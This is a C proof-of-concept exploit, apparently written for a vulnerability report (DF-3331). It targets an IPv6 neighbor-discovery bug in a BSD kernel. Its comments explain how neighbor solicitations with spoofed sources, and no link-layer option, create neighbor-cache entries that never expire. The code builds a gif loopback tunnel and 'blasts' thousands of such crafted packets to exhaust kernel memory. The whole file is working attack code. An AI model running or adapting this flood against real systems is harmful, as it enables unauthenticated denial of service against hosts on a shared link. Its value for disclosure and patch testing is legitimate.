/*
 * DF-3331 PoC (v3) -- immortal ND6_LLINFO_NOSTATE neighbor-cache entries.
 *
 * Injection: a gif(4) self-tunnel (gif0 outer ::1 <-> ::1).  We send the
 * ATTACKER-CRAFTED inner IPv6 packet as the payload of an IPPROTO_IPV6
 * (41) raw-socket send to ::1; the kernel decapsulates it on gif0 and
 * runs it through ip6_input -> icmp6 -> nd6_ns_input() as a RECEIVED
 * packet (rcvif = gif0), with a fully attacker-chosen IPv6 source
 * address -- bit-identical to what an on-link peer sends at a real
 * victim.  gif is a legitimate ND interface (nd6_need_cache(IFT_GIF)=1,
 * nd6.c:2139), so the neighbor-cache path under test is the production
 * one.
 *
 * BUG (sys/netinet6/nd6.c): nd6_ns_input() (nd6_nbr.c:407) calls
 * nd6_cache_lladdr() even with NO source link-layer address option; for
 * a not-yet-cached source, nd6_cache_lladdr() case (6) (nd6.c:1780-1786)
 * creates an ND6_LLINFO_NOSTATE entry whose ln_expire stays 0, and
 * nd6_timer_dispatch() (nd6.c:463-574) has no NOSTATE case and requires
 * ln_expire != 0 in every freeing path => the entry is immortal.
 * One NS frame per spoofed source == one pinned rtentry+radix+llinfo
 * allocation: unbounded kernel memory exhaustion, unauthenticated.
 *
 * PRIVILEGE MODEL: root needed only to build the test rig (gif + raw
 * socket).  The inner packets are what any on-link attacker emits.
 *
 * modes:
 *   nsimmort3 setup gif0
 *   nsimmort3 blast -t <gif0-link-local> -g <gif0-ifindex> [-n N] [-s] [-S start]
 */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>

#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/icmp6.h>
#include <netinet6/in6_var.h>

#include <arpa/inet.h>

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static void
die(const char *s)
{
	fprintf(stderr, "nsimmort3: %s: %s\n", s, strerror(errno));
	exit(1);
}

static uint16_t
cksum16(const uint16_t *p, size_t nbytes, uint32_t sum)
{
	size_t nwords = nbytes / 2;

	while (nwords--)
		sum += *p++;
	if (nbytes & 1)
		sum += htons(((const uint8_t *)p)[0] << 8);
	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);
	return ((uint16_t)~sum);
}

static int
setup_tunnel(const char *ifname)
{
	struct in6_aliasreq ifra;
	int s, error;

	if ((s = socket(AF_INET6, SOCK_DGRAM, 0)) < 0)
		die("dgram socket");

	memset(&ifra, 0, sizeof(ifra));
	strlcpy(ifra.ifra_name, ifname, sizeof(ifra.ifra_name));
	ifra.ifra_addr.sin6_len = sizeof(struct sockaddr_in6);
	ifra.ifra_addr.sin6_family = AF_INET6;
	if (inet_pton(AF_INET6, "::1", &ifra.ifra_addr.sin6_addr) != 1)
		die("pton");
	ifra.ifra_dstaddr = ifra.ifra_addr;

	error = ioctl(s, SIOCSIFPHYADDR_IN6, &ifra);
	printf("nsimmort3: %s tunnel ::1 <-> ::1: %s\n", ifname,
	    error == 0 ? "ok" : strerror(errno));
	close(s);
	return (error);
}

int
main(int argc, char **argv)
{
	struct in6_addr tgt, src, dst6;
	uint8_t inner[128];
	struct ip6_hdr *ip6 = (struct ip6_hdr *)inner;
	struct nd_neighbor_solicit *ns =
	    (struct nd_neighbor_solicit *)(inner + sizeof(*ip6));
	uint8_t *opt = (uint8_t *)(ns + 1);
	long n, i, start = 1, ok = 0, fail = 0;
	int ch, s, withslla = 0, gidx = 0;
	const char *target6 = NULL;
	size_t nslen, len;
	struct sockaddr_in6 dst;

	if (argc > 1 && strcmp(argv[1], "setup") == 0) {
		if (argc < 3)
			die("setup <ifname>");
		return (setup_tunnel(argv[2]) == 0 ? 0 : 1);
	}

	if (argc > 1 && strcmp(argv[1], "blast") == 0) {
		argc--;
		argv++;
	}

	n = 5000;
	while ((ch = getopt(argc, argv, "t:g:n:sS:")) != -1) {
		switch (ch) {
		case 't': target6 = optarg; break;
		case 'g': gidx = atoi(optarg); break;
		case 'n': n = atol(optarg); break;
		case 's': withslla = 1; break;
		case 'S': start = strtol(optarg, NULL, 0); break;
		default: goto usage;
		}
	}
	argc -= optind;
	argv += optind;
	if (!target6 || !gidx || argc != 0) {
usage:
		fprintf(stderr, "usage: nsimmort3 setup <if>\n"
		    "       nsimmort3 blast -t <tgt-LL> -g <gif-ifindex> "
		    "[-n N] [-s] [-S start]\n");
		return (1);
	}

	if (inet_pton(AF_INET6, target6, &tgt) != 1)
		die("inet_pton(target)");

	/* inner dst = solicited-node multicast of the target (on gif0) */
	memcpy(&dst6, &tgt, sizeof(dst6));
	dst6.s6_addr16[0] = htons(0xff02);
	dst6.s6_addr16[1] = 0;
	dst6.s6_addr32[1] = 0;
	dst6.s6_addr32[2] = htonl(1);
	dst6.s6_addr8[12] = 0xff;

	if ((s = socket(AF_INET6, SOCK_RAW, IPPROTO_IPV6)) < 0)
		die("raw proto-41 socket");

	memset(&dst, 0, sizeof(dst));
	dst.sin6_len = sizeof(dst);
	dst.sin6_family = AF_INET6;
	if (inet_pton(AF_INET6, "::1", &dst.sin6_addr) != 1)
		die("pton ::1");

	nslen = sizeof(*ns) + (withslla ? 8 : 0);
	len = sizeof(*ip6) + nslen;

	for (i = 0; i < n; i++) {
		ssize_t rc;

		/* attacker source: fe80::<start+i> -- NO embedded scope id:
		 * wire packets carry 0 there (ip6_input.c:378 rejects nonzero
		 * on receipt and re-embeds rcvif->if_index at :401, so
		 * nd6_is_addr_neighbor() (nd6.c:993) sees the right zone). */
		memset(&src, 0, sizeof(src));
		src.s6_addr16[0] = htons(0xfe80);
		src.s6_addr32[3] = htonl((uint32_t)(start + i));

		memset(inner, 0, len);
		ip6->ip6_flow = htonl(6 << 28);
		ip6->ip6_plen = htons(nslen);
		ip6->ip6_nxt = IPPROTO_ICMPV6;
		ip6->ip6_hlim = 255;		/* ND requirement */
		ip6->ip6_src = src;
		ip6->ip6_dst = dst6;

		ns->nd_ns_hdr.icmp6_type = ND_NEIGHBOR_SOLICIT;
		ns->nd_ns_target = tgt;
		if (withslla) {
			opt[0] = ND_OPT_SOURCE_LINKADDR;
			opt[1] = 1;		/* 8 bytes */
			opt[2] = 0xde; opt[3] = 0xad;
			opt[4] = (uint8_t)(i >> 8); opt[5] = (uint8_t)i;
			opt[6] = 0xbe; opt[7] = 0xef;
		}
		{
			uint32_t sum;
			int k;
			uint16_t pseudo[20];
			uint8_t *pb = (uint8_t *)pseudo;

			memcpy(pb, &src, 16);
			memcpy(pb + 16, &dst6, 16);
			pb[32] = pb[33] = pb[34] = pb[35] = 0;
			pb[36] = (uint8_t)(nslen >> 8);
			pb[37] = (uint8_t)nslen;
			pb[38] = pb[39] = 0;
			pb[39] = IPPROTO_ICMPV6;
			sum = 0;
			for (k = 0; k < 20; k++)
				sum += pseudo[k];
			ns->nd_ns_hdr.icmp6_cksum =
			    cksum16((const uint16_t *)ns, nslen, sum);
		}

		rc = sendto(s, inner, len, 0,
		    (struct sockaddr *)&dst, sizeof(dst));
		if (rc < 0)
			fail++;
		else
			ok++;
		if ((i % 2500) == 2499) {
			printf("nsimmort3: %ld/%ld inner NS (fail=%ld)\n",
			    i + 1, n, fail);
			fflush(stdout);
		}
	}
	printf("nsimmort3: DONE sent=%ld fail=%ld (slla=%d)\n",
	    ok, fail, withslla);
	return (0);
}
